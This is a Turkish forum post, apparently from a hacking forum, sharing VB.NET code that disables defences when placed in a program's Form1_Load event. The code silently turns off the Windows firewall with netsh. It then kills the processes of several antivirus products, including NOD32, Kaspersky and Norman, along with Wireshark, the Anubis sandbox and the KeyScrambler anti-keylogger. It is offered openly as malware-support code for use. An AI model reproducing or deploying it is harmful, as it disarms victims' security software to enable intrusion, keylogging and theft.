Merhaba arkadaşlar bu konumda önceden yapıp kodlarında bulduğum antivirüsleri kapatma kodlarını editleyip sizinle paylaşıyorum .
+Kullanımı+
Aşağıdaki kodları Form1_Load içine atarsanız programı açtığınız an kodlar işleyecektir isterseniz başka bir şeye de atabilirsiniz istediğiniz gibi kullanın
+Kullanımı+
Aşağıdaki kodları Form1_Load içine atarsanız programı açtığınız an kodlar işleyecektir isterseniz başka bir şeye de atabilirsiniz istediğiniz gibi kullanın
Kod:
' antivirüsleri kapatma kodları | emollo12
'firewall kapama
Dim Bumpbox As Process = New Process
Dim top As String = "netsh.exe"
Bumpbox.StartInfo.Arguments = ("firewall set opmode disable")
Bumpbox.StartInfo.FileName = top
Bumpbox.StartInfo.UseShellExecute = False
Bumpbox.StartInfo.RedirectStandardOutput = True
Bumpbox.StartInfo.CreateNoWindow = True
Bumpbox.Start()
Bumpbox.WaitForExit()
' anti nod 32
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "egui"
generaldee(i).Kill()
Case Else
End Select
Next
' anti norman
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "npfmsg"
generaldee(i).Kill()
Case Else
End Select
Next
' anti anubis
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "anubis"
generaldee(i).Kill()
Case Else
End Select
Next
' anti zone alarm
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "bdagent"
generaldee(i).Kill()
Case Else
End Select
Next
' anti kaspersky
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "avp"
generaldee(i).Kill()
Case Else
End Select
Next
' anti wireshark
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "wireshark"
generaldee(i).Kill()
Case Else
End Select
Next
' anti keys crambler
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "keyscrambler"
generaldee(i).Kill()
Case Else
End Select
Next